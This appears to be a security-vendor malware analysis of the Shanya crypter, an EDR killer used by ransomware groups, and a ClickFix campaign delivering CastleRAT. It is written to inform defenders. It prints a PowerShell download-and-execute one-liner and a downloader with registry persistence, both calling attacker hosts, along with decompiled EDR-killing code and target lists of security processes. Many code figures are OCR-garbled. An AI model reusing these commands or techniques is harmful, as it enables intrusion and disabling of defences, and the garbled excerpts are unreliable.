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We have covered packer-as-a-service offerings from the computer underworld in the past,
previously dissecting impersonation campaigns and the rise of HeartCrypt, both popular among

ransomware groups. However, it is a fast-changing landscape, and now we are watching a new
incarnation of the same type of service: the Shanya crypter — already favored by ransomware
groups and taking over (to some degree) the role that HeartCrypt has played in the ransomware
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toolkit. We'll look at its apparent origins, unpack the code, and examine a targeted infection
leveraging this tool. Sophos protections against this specific packer are covered at the end of the
article.

First glimpse: Underground promotions

Near the end of 2024 we found references on underground forums to a new offering, VX Crypt,
credited to an entity called ‘Shanya’ (also the name of a river in western Russia). It should be
noted that the ID of the post author, which we’ve obfuscated in Figure 1, was not “Shanya” but
another string entirely.

VX Crypt by Shanya. Lot of binaries supported, .NET/Native, x&4/32

BSOPHOS | X-0PS

Bl QaAnk 4 ofX0AMTE B NEpEYR 04epefs Windows Defender, Ha AvC SCAn KaK NpaBuno Bcerpga B, Ha
e Wirustot ono (T f21

. BCTh BO3MORHOCTE NOArPY3KW Bawero gaMna B KOHTEKCTE APYroro NpouUecca, HO HYHEHO BPEWA Ha

MQWKATH, “nporpesadTe” gadn, HoO oM {PHH A HE
a7k peuMTE npofine M
SUMK, AOBEPEHHHE AOHEHH, APYrde

W. Hak npaelno,
yyaT no CHF,

Figure 1: A posting in Russian lists the features of “Shanya’s” VX Crypt offering

The interesting part of the English translation of the features reads as follows:
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Non-standard module loading into memory, wrapper over the system loaderStub uniqueization.

Each customer receives their own (relatively) unique stub with a unique encryption
algorithm upon purchase.

AMSI bypass for your .NET assemblies; the payload is not detected in memory.Icons, version
information, privilege escalation via manifest (UAC Bypass), Autorun with rerun are
available.Anti-vM, doesn't run in sandboxes, doesn't unpack in the cloud.

Runtime protection is available for native and 32-bit files (during testing). If it's a
RAT (for example), then with this protection it can run undetected for a long time (_Indy
inspired) -

We can try sideloading with the right software. It's possible to load your file in the
context of another process, but it takes time to find vulnerabilities in the right
software and time for testing.

The contact address for the creator of the packer is a Telegram handle that includes the string
“shanya,” as shown in Figure 2:

KOHTaKTE :

PH BSOPHOS | X-0PS

[t.mel (.

You can contact @shanya [l right away.

Figure 2: The post provides “Shanya’s” Telegram contact information (but we don’t)

The described feature set matches characteristics of a packer that we have found in a number of
samples, so we believe that our samples contain the same packer-as-a-service that this post
identifies as coming from “Shanya.” It is very unlikely that two similar offerings would both be
associated with the same name.

Early samples of the crypter

The early samples of the crypter had various artifacts left in the executable. For example, some of
the early executable samples (hashes: 58995a6¢c6042ed15f765a11160690c45f76f8271,
83317a42290ef8577¢1980dc6085ab789dccOc8f) contained an executable name,
shanya_crypter.exe, as shown on Line 1 in Figure 3:
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Figure 3: Possibly more information than the Shanya developers meant to make available, along
with some strange adjective choices

Further early DLL samples had revealing DLL names, consisting of a morphed form of “Shanya.”
They also contained information on the purpose of the crypter, which is to bypass the detection
capabilities of whatever security solution the target may be using as shown in Figure 4:

H
; Export Address Table for Shdnyd fllck4v 8x8ea735ASBFC229C.d11
off 18150118 dd rva RtwgaddPeriodicCallback, rva RtwghllocateSerialWorkQuese
; DATA XREF: .rdata:i@éisDiact
dd rva RtwgAllocateWorkQueue, rva RtwgBeginRegisterWorkQueusWithdMCss ; ™\ LOWGLOBALROOT \\SystemRoot\\Syskiksd
dd rva RtwgBeginUnregisteriorkQueusWithMMCSS; rva RtwgCancelDeadline
dd rva RtwgCancelMultipleWaitingworkItem, rva RtwgCancelwWorkItem
dd rva RtwgCreateAsyncResult, rva RtwgEndRegisterWorkQueuewithMMOss
dd pva RtwgEndUnregisterborkQueusWithMMCSS, rva RtwgGetPlatform
dd rva RtwgGetWorkQueueMMCSsClass, rva RtwgGetWorkQueueMMCSSPriority PsSOoPHOS

dd rva RtwgGetWorkQueueMMCSSTaskId, rva RtwgInvokeCallback X-0OPS
dd rva RtweloinkorkOueue. rva RtwoLockPlatform. rva RtwolockShareddorkOueue

Figure 4: The DLL samples include a bad word; this will not be the last time bad words appear in
this code

Some of the other names (slightly obfuscated below) were:

e 5h4ny4 fmck4v_0x000735A5BFC229C.dllI
e shdnya_ fmck4v_0Ox000CFA853F46C84.dll
e shanya_fmckav_0x0001DC90D59DCDBE.dII

This appears to be the same packer noted in late spring by Cipher Tech Solutions as the Armillaria
loader, which was used to deliver a handful of malware families including BumbleBee, ChuChuka,
Lumma, the WHT downloader, and StealC. Later on we found cases of a new EDR killer family
and the CastleRAT backdoor using malicious files created by this service.

Where we saw it

Geographic distribution for nascent malware can be useful information. In Shanya'’s case, we have
encountered the packer in all four hemispheres over the course of 2025, but analysis of infections
per capita in affected nations indicated a somewhat higher prevalence in certain countries late in
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the year, as shown in Figure 5.
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Figure 5: A distribution of Sophos-analyzed samples packed by Shanya during September-
November 2025. Note that this data includes both customer-operated machines and machines
likely to be in use by people testing the packer during this period. Though Tunisia looms large in
this chart, UAE is the more interesting case, detecting Shanya far more frequently than the
similar-in-size (£ 1.1 million) nations of the Czech Republic (Czechia), Austria, and Switzerland.
We further note that all the infections we saw in China were geolocated in the Hong Kong-
adjacent Shenzen area. (Countries reporting Shanya detections but with <10000 Sophos devices
in place were excluded from this chart for legibility)

Under the hood: The packed executables

Most of the following analysis is based on the sample with SHA256:
6645297a0a423564f99b9f474b0df234d6613d04df48a94cb67f541b8eb829d1, which is a variant
of the EDR killer we will discuss later.

The loader code is highly obfuscated, with miles of junk code such as this:
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Figure 6: The junk code flows like a river (perhaps the Shanya)

The purpose of this code is to build a decryptor and loader in a memory region, which would then
decrypt the payload.

Hiding in the PEB

Shanya starts by initializing a table structure that contains important data, such as API addresses,
that it will require. It then uses an offset to the GdiHandleBuffer field in the PEB (Process
Environment Block) as a secure pointer repository for the address of that table. The subsequent
stages of the malware only need to call getPEB() and read from a fixed, hardcoded offset
(GdiHandleBuffer[46]) to instantly retrieve the complex configuration table, allowing for seamless
and untraceable execution continuity. This structure will be used by the next stage, in which the
shellcode performs the decoding process.
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172 + offsetof(APIobj, RtlDeleteFunctionTable)))(1l);

174 g_image = APIobj->g_image;

|

» 175 bi-»CreateFileMappingA = CreateFileMappingh_wrapper;

» 176 0i=>MapViewOfFile = MapViewOfFile_wrapper;

» 177 bi-sVirtualProtect = VirtualProtect_wrapper;

» 178 bi-sUnmapViewOfFile = UnmapViewOfFile_wrapper;

» 179 F '_-' =»NtSetInformationProcess = NtSetInformationProcess_wrapper;

» 188 APIc _'-:»patchBytes aBytes = PatchBytes;

» 181 j = 3 nt64 (_ fastcall *)(__int64, int64, int64) }APIobj->Alloc)(g_image, B, 248);

» 182 qmemcpy(_-. exFBu);

¥ 183 Apidb] = Apiob];

» 184 t getPEE(j

» 185 *( QUORD *)&trp[4].6diHandleBuffer[46] = Affiohi; CSOPHOS
186 ]. X_OPS

Figure 7: Calling back to the table smooths execution flow, making the malware less noticeable

API hashing

As with other malware, Shanya dynamically resolves required Windows API functions by first
parsing the PEB to locate the PEB_LDR_DATA structure, which contains the linked lists of all
loaded modules. Using a custom hashing algorithm, it then parses all export names until a match
is found. That algorithm varies from sample to sample.

Anti-analysis check

Shanya calls RtIDeleteFunctionTable(0) & RtlDeleteFunctionTable(1) to perform an anti-analysis
check. By triggering the function with an invalid context, the malware attempts to induce an
unhandled exception or crash if running under a user-mode debugger, thereby disrupting
automated sandboxes and terminating manual analysis attempts before the payload can be fully
executed.

Shanya checks whether RtIDeleteFunctionTable is hooked by an EDR. If it is hooked, it calculates
the address which points past the EDR’s trampoline and skip to the original, unhooked instructions
of RtIDeleteFunctionTable.

= getPEB(};
L = getAPTFroaHash]
B::C:JlF!AZl
{3 'I: a0 *)&v31[4].cdidandleBuffer[45) + offsetof(APIobj, hD11}));
if 0 IRt = axte )
{
134 HOGK FOUMD :
* 135 or [ 0= & ] » B ]
(ur a3 ( (wr ¥ 1
=
= 8}
1
- t t e " T | exFFEFFFFFOBE00280uLL;
if [0 t t .!- Bx raawaa:l = Buf FReoans )
- R Tl W " JEgETPEE{N[4]. Ec:Hiﬂc]iBufFﬁu'[-ﬁ-] + affsetof(APIok], AtlDeleteFumctionTabla)) = (cha~ )AL t * + 53
else
while
ticnTable = (unsigned 2 I ) 1
if ss BxAB |
break;
G
1f ( ®[_BYTE ")At T == @xEE |
Eoto HODKFOUND;
N PSOPHOS | X-0PS

5

Figure 8: Looking for the hook
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Payload

The following screenshot shows the intermediate form of the payload, when it is already decrypted

but still in compressed form in memory:

0000025ECA93124( F5 00 03 00 00 D4 04 05 B9 00 4D 5A 90 00 03| 6....0...7.MZ...

O000025ECA93125¢ 00 00 00 82| 04 00 30 FF 00 OO B8 00 38 OD 01| ...... Oyy..,.8..
0000025ECA93126¢ 00 40 04 38 1A 00 01 00 OE 00 1F BA OE 00 B4| .@.8........°%.."
0000025ECA93127({ 09 CD 21 00| B8 01 4C 21 54 68 69, 00 73 20 70| .1!. .LI!'Thi.s p

0000025ECA93128({ 72 6F 67 72/ 61 00 6D
0000025ECA93129{ 62 65 20 72| 75 6E 20
O000025ECA9312AL 00 6F 64 65| 2E OD 0D
0000025ECA93128B( 70 6F FO 82/ E1 05 03
0000025ECA9312Ct EO 61 02 07| F3 EO 76
0000025ECA9312D( 07 F4 EO 22| 60 02 07 F5
0000025ECA9312E({ 02 3B F1 EL 00 00 07 89
O000025ECA9312F({ EO 71 02 07| 14 OF E1 03
0000025ECA93130( 68 01 67 05/ C2 50 45 0
O000025ECA93131( 4D 68 85 09 00 FO 00 22
0000025ECA93132¢{ 02 00 00 E2 80 01 00 O
O000025ECA93133( 00 7B 83 05| 00 OD C6 06
O000025ECA93134( A6 02 OF 3¢ 60 81 05
0000025ECA93135( 10 AE 03 001 50 01 04 6
0000025ECA93136( 00 1C 23 08/ 10 20 70 05
0000025ECA93137( 00 38 18 CD 40 6D 03 04
O000025ECA93138( 03 65 12 00| 2E 74 C8 65
nnooan?sFca9313a9i 01 24 17 ©1l 3F €4 31 08

63 61 6E 6E| 6F 74 00 20| rogra.m cannot.

69 6E 20 44 4F 53 20 6D| be run .in DOS m
24 01 04 84{ 34 OE 9E B2| .ode....5...4..2
EE F5 EO DD 02 07 88 F4| pod.a...i6ay...6
07 20 61 E9 F3 EO 7A 02| aa..6av.. aéodaz.
EO 20 02 1F F1 EO 22 79| .6a" ..6a ..Aa"y
E8 82 F9 02 2F 89 E8 F3| .;fa....e.u./.eo
07 F2 02 OF 52 69 63 06| aq....4..0..Ric.
00 64 80 86/ 07 00 FO 33| h.g.APE. .d....03
00 OB 02 OE| 2B CO 00 44| Mh...d."....+A.D
F4 EO B3 00) 02 10 03 8D| ...4....6a%.....
84 19 85 03 008005 03| .{....&£.........
05 03 BF 07| 0A 05 00 B4| | .. vvvunnnnns l
05 00 82 E8/ 01 34 20 05| .2..P.. ...&.4 .,
00 DC OD 00 33 6E 03 C4| ..#.. p..U..3n.A
54 04 00 30/ 60 02 00 F8| .8.1@m..T..0 ..0@
78 74 €0 01 88 43 00 09| .e...tEextA..C..
on 20 40 111 2F 72 64 R0l _S_As&1.. @_ _rd.

OO0 O0OMNNOHOTMO

Figure 9: The payload is in place, but this isn’t even its final form
It is then decompressed and loaded.

The loader loads a second instance of a Windows system DLL. In all the cases we analyzed, this
system component was shell32.dll. Figure 10 shows the module listing in x64dbg to illustrate that
there are indeed two instances of shell32.dll in the memory.

000001AB0BBF0000 shel132.d11 = system | C:\Windows\System32\shel132.d
00007 FFAF49F0000 shell132.d11 2 System C:\Windows\System32\shell132.d

el

"
1
Figure 10: One more instance of shell32.dll than ought to be there

Figure 11 shows the original DLL, loaded into the DLL memory space:

00007 FFAF49F0000 0000000000001000 E System shel1132.d11
00007 FFAF49F1000 0000000000688000 B System T.text”
00007FFAF5079000 000000000015B000 B System ".rdata"
00007 FFAF51D4000 000000000000A000 B System ".data"
00007 FFAF51DEOQQO 000000000004C000 B System ".pdata”
00007 FFAF522A000 0000000000004000 B System ".didat"
00007FFAF522E000 0000000000009000 B System ".rsrc”
00007FFAF5237000 0000000000013000 B System ".reloc”

Figure 11: ADLL where a DLL should be...

And Figure 12 shows a second copy, loaded into the user code memory space.
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000001ABOBBFQ000 0000000000001000 = System she'l 132.d11
000001ABOBBF1000 0000000000688000 = System Tltext”
000001AB0C279000 000000000015B000 = System ".rdata"
000001AB0C3D4000 000000000000A000 = System ".data"
000001ABOC3DEOOO 000000000004C000 = System ".pdata”
000001AB0OC42A000 0000000000004000 = System ".didat"”
000001AB0OC42E000 0000000000009000 = System ".rsrc”
000001AB0C437000 0000000000013000 B System ".reloc”
Figure 12: ...and a DLL where a DLL should not be

The two are apparently identical, with the same PE section names and sizes. But in reality, the
beginning of the image (practically speaking, the header and the .text section) is overwritten by
the content of the decrypted payload, and then loaded by the undocumented LdrLoadDIl Windows
function.

The original exported functions contain junk data, as shown in Figure 13:

T e T T e mml Lt b e 00 B

000001AB0BC47A40 088001A303c4 480 {aheHTBE.ShETTExecut
000001AB0BC47C10 Qb ntrd Shrax.al
000001ABOBC47F60  |2dC pYTe ptras:iraxj,a
000001AB0BC484B0  |2dd byte ptrds:irax},al
- add byte ptrds:[rax],al
CopoolAS0acisors (o byis Bk
j T = yte ptras:|rax],a
000001ABOBC4A820 add byte ptrds:[rax],al
000001ABOBC4DA30 add byte ptrds:[rax],a]l
000001ABOBC4E340  |add byte ptrds:|rax],a]
000001AB0BC4EE30  |add byte ptrds:rax}.al
, , add byte ptrds:[rax],al
000001ABOBC4F160 R e beried e oo
000001ABOBCA4F940 add byte ptrds:[rax].a] OSOPHOS
DODOOIABOECiFFSD add by‘te ptr ds: rax 'a'| ¥-0OPS
aTalalatau WY -Tal-FalNal=tely B T g L, [

Figure 13: The “copy” in the user code memory space, with its junk data

The loader then performs one more trick, modifying the entry of the loaded module list

(LDR_MODULE).

Both the full DLL name and the base DLL name are modified, as the Figure 14 image of the

LDR _DATA TABLE ENTRY structure shows:
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Address

000001ABOGGDESCO
000001ABOG6DESCSE
000001ABO66DESDO
000001ABO66DESDSE
000001ABOG6GDESED
000001ABO66DESES
000001ABOGEGDESFO
000001AB0O66DESFS8
000001ABOGGDEAQOD
000001AB066DEADS
000001AB066DEALD
000001ABO66DEALS
000001AB066DEAZD
000001ABOG6DEAZS

Figure 14: Mustard?

value ASCII Comments
D5FB0 M.,
000001ABO66DESS0 | Pém.« = R
000001ABOGGEDSF70 P_M.«
000001ABOGGDESED Tém.«
00007 FFAF6E876410 .d.ea
000001ABOGGDSFEO M F ”D”N
Q000001ABOBEFOO00 - o3
0000000000000000 | ........ u ame
00000000000559000 | ..c.vvns
0000000000440042 Ml ccoa
000001AB0BEDEE30 0ém. « L"C:\\Windows\\System32\\mustardé4.d11"
00000000001C0O01A | ........
000001ABOG6DEBSE XEm. « L"mustardé4.d11"
00000006000822CC Mo ogoao

The modified DLL image is flagged by the PE-SIEVE tool (developed by hasherezade):

"mapping_scan"
"1abObbf0000",

"module"

"module_file"
"mapped_file"

"status" : 1
}

}I

{
"headers_scan"
"status" : 1,
"module"

"module_size"
"module_file"

"ep_modified"

s o

"C:\\Windows\\System32\\mustard64.d1l",
"C:\\Windows\\System32\\shell32.d1l1l",

2o

"1abObbf0000",

"59000",

"C:\\Windows\\System32\\shell32.d11l",
"is_connected_to_peb" : 1,
"is_pe_replaced" : 1,
"dos_hdr_modified" : 1,
"file_hdr_modified" : 1,
"nt_hdr_modified" : 1,

1,

"sec_hdr_modified" : 1

}

In an earlier iteration of the EDR killer the wmp.dIl name was used, as shown in Figure 15:

Address

000002D094F30290

000002D094F30298
000002D094F302A0
000002D094F302A8
000002D094F302B0
000002D094F302B8
000002D094F302C0
000002D094F302C8
000002D094F302D0
000002D094F302D8
000002D094F302E0Q
000002D094F302E8
000002D094F302F0
000002D094F302F8
000002D094F30300
0n0nn02nN94F3030RK

Value ASCII Ccomments

00007 FFAF68763F0 Oc.ou. ..

000002D094EF26A0 &i.D B?EF?SHOS
00007 FFAFG876400 .d.oéu

000002D094EF26B0 *&1.D

0000000000000000 | ........

0000000000000000 | ........

000002D09A1D0O000 R 2 TR

0000000000000000 | ........

0000000000057000 [Tanocoac

0000000000380036 6.8..... ]

000002D094EEDSFO 807 .0 L"c:\\Windows\\System32\\wmp.d11"
000000000010000E | cv.veun.

000002D094EED61S B9.D L"wmp.d11"

00000006000022C4 ﬁ"..:.“

00007FFAF6876120 a.éu

n0nnNN?2nNN94rc1070 n.i.p
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Figure 15: The wmp.dll name in the comments

In other cases a different name was utilized, incorporating a direct (and offensive) callout to

hasherezade:
Address Value ASCIT Comments
000002150ECF5670 000002150ECF3570 psf.....
Q00002 150ECF5E78 Q00002150ECECF40 arr..... B?gpPSHOE
000002 150ECF5680 00007 FFAFE876410 .d.6d. .
Q00002 150ECFSE88 QO0002150ECF3580 L
000002 150ECF5690 0000021514330000 N —
000002 150ECF5698 Q000000000000000 .
000002 1S0ECF56A0 0000000000058000 | ........
000002 150ECFSEAS Q00000000054005 2 Biolfooococ
000002 150ECF56E0 000002150ECECIFO BEI..... LUc:\ywindows\\system32\\hasherezade_pjQ. 411"
000002 150ECFS6ES 00000000002C0024 e
000002 L50ECF56C0 000002150ECECALS EI..... L"hasherezade_pil d11"
000002 150ECFS56CE 00000006000822CC ...
000002 150ECFSED0 00007 FFAFGS761F0 Ba.od.
000002 150ECF56D8 000002150ECB2070 pE.....
000002 150ECFSEED Q0000000684D33F0 a3vh. .
AsAAAARTEArRsFREeee T ARARARARARRARARRA

Figure 16: That'’s definitely not “wmp.dll” under the black boxes in the comments

In another case, this time involving a 32-bit loader (the payload was StealC), the shanya.dll name

was used:
Address Value ASCII Comments
015CB2A8 /7E3DB14 .Uaw SSOPHOS
015CB2AC 015C0350 P.\. X-OPS
015CB2BO 77E3DB1C .0aw
015CB2EB4 015C0358 X\
015CB2B8 06AD0O000 cea
015CB2BC 00000000 e
015CB2CO 00250000 -
015CB2C4 003E003C <. >,
015CB2C8 015CAF48 HT\. L"C:\\Windows\\System32\\shanya.d11"
015CB2CC 00160014 cen
015CB2D0 015CAF70 p\. L"shanya.d11"
015CB2D4 00082ACC ¥,
015CB2D8 00000006 ceas
015CB2DC 77E3DBEOD avaw
015CB2EO 01544004 EZ.
015CB2E4 67CF2886 .(1g

Figure 17: A third example has nothing worth blacking out

Notable use cases

EDR killer

The main characteristics of the Shanya-protected EDR killer are as follows.

It has been used in DLL side-loading scenarios, most commonly including two specific files:

e consent.exe (a clean Microsoft program related to the User Account Control (UAC) feature)
e msimg32.dll (the Shanya-packed malicious DLL)
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In other cases, the side-loaded DLL has been named version.dll, rtworkq.dll, or wmsgapi.dll.
It drops two kernel drivers:

o ThrottleStop.sys/rwdrv.sys (legitimate driver from TechPowerUp, abused in this context)
e hlpdrv.sys (a malicious unsigned kernel driver)

The user-mode loader/orchestrator of the user-mode killer is msimg32.dll. First it loads the
vulnerable clean driver, as shown in Figure 18:

if ( (int)sub_140006490(*( QWORD *)(v23 + 4088), v24, v25, 10) < ©
|| !'(unsigned int8)write to file(
(__inte4)&throttlestop_embedded,
50216u,
(__inte4)L"mgdsrv",
(__inte4)L"rwdrv.sys") )

{

return 0i64; SSOPHOS
¥ X-OPS

Figure 18: Loading the ThrottleStop driver

Then, as shown in Figure 19, it loads the malicious driver:

if { (unsigned  int8)write to file((_  int64)&hlpdrv_embedded, @x24@éu, (  intsd)L"KMHLPSVC™, (_ inted)L"hlpdrv.sys™) )
{

hDevice = CreateFileW({L"\\\\.\\KMHLPDRY", @x48000000u, 2u, @i6d4, 3u, @xs6u, @isd);

if ( hDevice )

i

Va7 = Bigd;
*(_OWORD *)lpMem = @i6d;
SUb_ldBBGE-SEB( pMem) s
V77 = (__intss *)1pMen[1];
v78 m {__inte4 *}1lpMem[@];
if ( lpMem[@] = lpvem[1] )
{
do
{
InBuffer = *v78; SOoOPHO
if ( !'DeviceloControl(hDevice, ex222008u, &Inguffer, Bu, @ied4, @, BytesReturned, @ied) ) BX-C}F'P'S s

Figure 19: The malicious driver is loaded next

The user-mode killer has a large list of targeted services, as shown in Figure 20:
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driver_list

PSOPHOS
X-0PS

offset

offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

akKlflt ; DATA XREF: sub 14000©2310+18To
; sub 140002310+91Tr ..
; k1FI1t"

akKlhk ; "klhk"

aKlif ;5 "k1if"

aKlips ; "klips"

aKlifKes ; "KLIF.KES"

aKlbackupfltkKes ; "klbackupflt.KES"

aKlids ; "klids"

aKlupdklifArkmo ; "klupd klif arkmon

aKldisk ; "kldisk"

aKlbackupdisk ; "klbackupdisk"

aKlbackupflt ; "klbackupflt”

aKlgse ; "klgse"

aklim ;3 "klim"

aKlpd ; "klpd”

aKlfltdev ; "klfltdev"

aKlupdklifSwmon ; "klupd klif swmon"”

akneps ; "kneps"

akKlupd ;5 "klupd”

akKlwtp ;5 "klwtp"

aKlpnpflt ; "klpnpflt™

akKlelam ; "klelam"

aKlupdKes ; "klupd KES"

akKlam ; "klam"

aKlramdisk ;5 "klramdisk"

aKlifsdk ;5 "klifsdk"

aKlupdKlifsdkAr ; "klupd klifsdk _arkmon”

aQaxnfdrv 3 "QaxNfDrv"

aQkbasechainé4 ; "QKBaseChainc4™

aQknetfilter ; "QKNetFilter"

aQksecureio ; "QKSecureIO"”

aQesengex ; "QesEngEx"

aQkhelp64 ; "QkHelpe4"

aQmnetmonwé4 ; "gmnetmonw64d”

aQmudisk64Ev ; "OMUdiske4d ev”

aQgsysmonx64Ev ; "0Q0SysMonxed EV"

Figure 20: So many targeted services

And processes:
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process_list dgq offset

dg offset
dg offset
dgq offset
dg offset
dg offset
dq offset
dq offset
dgq offset
dg offset
dq offset
dq offset
dgq offset
dgq offset
dg offset
dg offset
dg offset
dgq offset
dq offset
dg offset
dg offset
dg offset
dgq offset
dgq offset
dg offset
dg offset
dg offset
dgq offset
dg offset
dg offset

osopHos dq offset
X-0OPS dg offset

Figure 21: A long list of processes, including some belonging to Sophos. (That doesn’t mean the

aMpcmdrunExe ; DATA XREF: sub_140003838+24ETr
; sub_140003838+4255T0 ...
3 "MpCmdRun.exe"

aMsmpengExe ; "MsMpEng.exe”

aMsmpengcpExe ; "MsMpEngCP.exe"

aMssenseExe ; "MsSense.exe"

asecurityhealth ; "SecurityHealthService.exe"
alUhssvcExe ; "uhssvc.exe"

aAvpExe ;3 "avp.exe"

aKlnagentExe ; "klnagent.exe"

aAvpsusExe ; "avpsus.exe"

aAvpuiExe ; "avpui.exe"

aKavfsExe ; "kavfs.exe"

aKavfsgtexe ; "kavfsgt.exe"
akKavfswhExe ; "kavfswh.exe"
akavfswpExe i "kavfswp.exe"
akKavtrayExe ; "kavtray.exe"
aEbloaderExe ; "ebloader.exe"
akKlcsldclExe ; "klcsldcl.exe"

aSoyuzExe 3 "soyuz.exe"
aProtonExe ; "proton.exe"
aVapmExe s "wvapm.exe"

aSedserviceExe ; "SEDService.exe"
aHmpalertExe ; "hmpalert.exe"
aSspserviceExe ; "SSPService.exe"
asophosntpservi ; "SophoshtpService.exe"
aSophosnetfilte ; "SophoshetFilter.exe"
aMcsagentExe ; "McsAgent.exe"
aMcsclientExe ; "McsClient.exe"
aSophosfsExe ; "SophosFS.exe”
asophosfilescan ; "SophosFileScanner,exe"
aSophoshealthEx ; "SophosHealth.exe"

aSophosEncrypti ; "Sophos.Encryption.BitLockerService.exe"

aSophoslivequer ; "SophosLiveQueryService.exe"

attempt is successful, but we'll get into that in a moment)

These service and process names belong to security products that are targeted by the EDR Kkiller.
The user mode killer searches the running processes and installed services. If it finds a match, it

sends a kill command to the malicious kernel driver, as shown in Figure 22:
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vE = driver_list;

v7 = 9i64;

if ( driver_list )

{
while ( !StrStrIA(vS, ve) )
{

ve = (&driver_list)[++v7];
if ( lve )
goto LABEL_14;
}
LODWORD(v18) = 8;
memset(v1l7, @, @x1lBuisd);
v8 = sub_140005758(al);
if ( v )
{
MessageBoxA(
oi6d,
"CRITICAL ERROR!!! TELL CODER IF IT'S APPEARED!",
"CRITICAL ERROR!!! TELL CODER IF IT'S APPEARED!",

9);
LABEL_13:
((void ( fastcall noreturn *)(_ int64))sub_140009F44) (@xXDEADCODEi64d);
}
v9 = gword_ 1480516008 ;
vi7[@] = v8;
v17[1] = qword 140251008;
vle = get PEB();
if ( !(unsigned int)sub l14@e@1480(
(unsigned int)*(_QWORD *)&v10[4].GdiHandleBuffer[46],
Vi,
vo,
(__inted)vi7,
16164,
..u' :’
PSOoOPHOS V16,
X-0PS {(_ intea)&vis) )

Figure 22: Attempting to smite the security products it finds

The malicious kernel driver abuses the vulnerable clean driver, gaining write access that enables
the termination and deletion of the processes and services of the protection products as shown in
Figure 23:
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DbgPrint(“Handleloctl: PsLookupProcessByProcessId pid:@x¥x\n", *( _QWORD *)}&asterlrp->Type);
v8 = PsLookupProcessByProcessId{v7, &Process);

Ve = v8j

if ( v8 )

{
LABEL_2@:

DbgPrint("Handleloctl: PsLookupProcessByProcessId failed with status @x¥x\n", v8);
goto LABEL_16;

}
v9 = CopyProcessImagePath(Process, Sourcestring, 2048i64);
v = v9;
if ( v9 )
{
DbgPrint("HandleIoctl: GetProcessImagePathByPEProcess failed with status ex¥x\n", v9);
}
else
{

RtlInitUnicodeString(&DestinationString, SourceString);
v1le = set file DACL(&DestinationString);
v6 = v1e;
if ( vie )
{
DbgPrint("HandleIoctl: UntrustFile failed with status ex¥x\n", via);

}

else

{
vll = zwterminateprocess(Process); OSOPHOS
ve = v1l; x-OPS
if ( wvil )
DbgPrint(“HandleIoctl: TerminateProcessByPID failed with status exix\n", vil);

Figure 23: And the shutdown

In a typical scenario, we see this sort of activity paired with a ransomware infection. The process
tree in Figure 24 shows, as an example, the deployment of the Akira ransomware, along with
attempts to execute two different versions of the EDR killer, both in DLL side-loading scenarios:
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Figure 24: The process by which the EDR Kkiller clears the way for a ransomware infection, in this
case Akira. (The F’s indicate the number of files written or read)

The first deployment we noted of this EDR killer happened near the end of April 2025, in a
Medusa attack (as shown in Figure 25). It has been used in multiple ransomware operations since

then, most frequently by Akira (as described by GuidePoint Security in August), but also by Qilin
and Crytox.
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Shanya occurrence over 28 weeks of detections (April-November 2025)
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Figure 25: A distribution of Shanya-involved cases analyzed between April and November 2025,
week by week

In action: CastleRAT

To give a sense of how this packer manifests in the wild, we’ll look briefly at a malware distribution
campaign that utilized Shanya, in this case to target hotels.

It was reported in September 2025 as part of a booking.com-themed ClickFix campaign, as shown

in Figure 26:
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booking.com musi sprawdzié bezpieczenstwo twojego polaczenia przed

kontynuacja,

Figure 26: Reports of the infection appeared on a social media site; the Polish-language
“verification” screen shown in the lower half of the image tricks the targeted user into loading

malicious code

The file list reported by the researcher, as shown in Figure 27, matches the files we have seen:

Dwapry i)

FS0OFPHOS

*OPS
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All'inizio della settimana
wmsgapi.dll

Molto tempo fa

M consent.exe

! atlprov.dll

ci.dll

cTxocdll

c2dll

M disc

. aximp.exe.config

B isvtierSappsignsdk.cc

™ isvtiersappsignsdk.xml

) isvtierSappsignsdk_client.xml

. T pub1.dat
[ ] msrootpub2.dat
B dasmhip.cnt

® DASMHLPHLP

B disco.exe.config

Figure 27: Familiar names, unfortunately

BSOPHOS | X-0PS

Applicazione
dell'applic
dell'applic

I'applic...

Estensione dell'applic...

Applice

ile CONFIG
ile CC
ft Edge HTM

Edge HTM

ile CNT

ile della Guida

"ONFIG

We also observed that a PowerShell script was used to download the next stage:

Malware name: C2_10a (T1071.001)
Beacon time: 2025-09-06T11:32:18.000Z
Command line: powershell -w h -ep b -c "iex (iwr 'biokdsl[.]Jcom/upd'

The upd script downloaded and unpacked the consent.zip archive, which contained the DLL side-
loading components shown in Figure 28:

-useb).Content"
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try | PSOPHOS

5z¥9pL = [System.lO.Path]::GetTempPath () X-OPS
$mKAvE = Join-Path $zX9plL "consent.zip"

$qBRTWN = "biokds1" + "." + "con"

SfHZ2yT = "hitps://" + 5gqBTwN + "/Japip/t/0"

# Network operation

$pD6i5 = New-Object System.Net.WebClient
SpDEjS.Headers. Add (" r—Agent”,"PowerShell/5.1")
S5phEiS.DownloadFile ($fH2yT, SmKAvR)

if (Test-Path SmKAVE) {
# Archive extraction

Ery |
Add-Type -AssemblyName System.I0O.Compression.FileSystem

[System.I0.Compression.ZipFile]: :ExtractToDirectory (SmKAvR, $zX%pL)
Figure 28: Starting to look rather familiar
We have seen the following download servers in use:

¢ biokdsl[.]Jcom/upd
e biklkfd[.]Jcom/upd

The archive that was downloaded had the name and hash
59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e: consal.]zip . It

registered for autostart and then executed the clean loader (consent.exe) as shown in Figure 29:

" . ) ) . 250PHOS
Binary location X-OPS
$wJ3zM = Join-Path $zX9pL " f "
if (-not (Test-Path SvJ3zM}) {
S$vJ3zM = Join-Path $zX9pL "
}
if {(-not (Test-Path SvJ3zM)}) {
f$al9klF = Get-ChildItem 5zX9pl -Recurse -Name "*.cxe" -Errorfction SilentlyContinue
if (SaL9%kF) {
SvJ3zM = Join-Path $zX9pL $aL9kF
}
1
if (Test-Path SvJ3zM) {
# Persistence mechanism
$iRexP = "HE A%
$nC2hV = "SystemlUpdate”
SdFdsK = " VSwJ3zMt "
try {
Mew-ItemProperty -Path $iRéxP -Name $nC2hV -Value $dF4sK -PropertyType String
} catch {}

# Process execution
Start-Process $wJ3zM -WindowStyle Hidden -ErrorfAction SilentlyContinue

Figure 29: The clean loader abused

The clean executable then loaded the malicious DLL, named wmsgapi.dll, which was inflated by
appended bytes to the huge size of 656MB. The final payload here has been identified by
RecordedFuture as CastleRAT.
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Sophos protections

Sophos protections against this malware include, but are not limited to, ATK/Shanya-B,
ATK/Shanya-C, and ATK/Shanya-D.

Conclusion

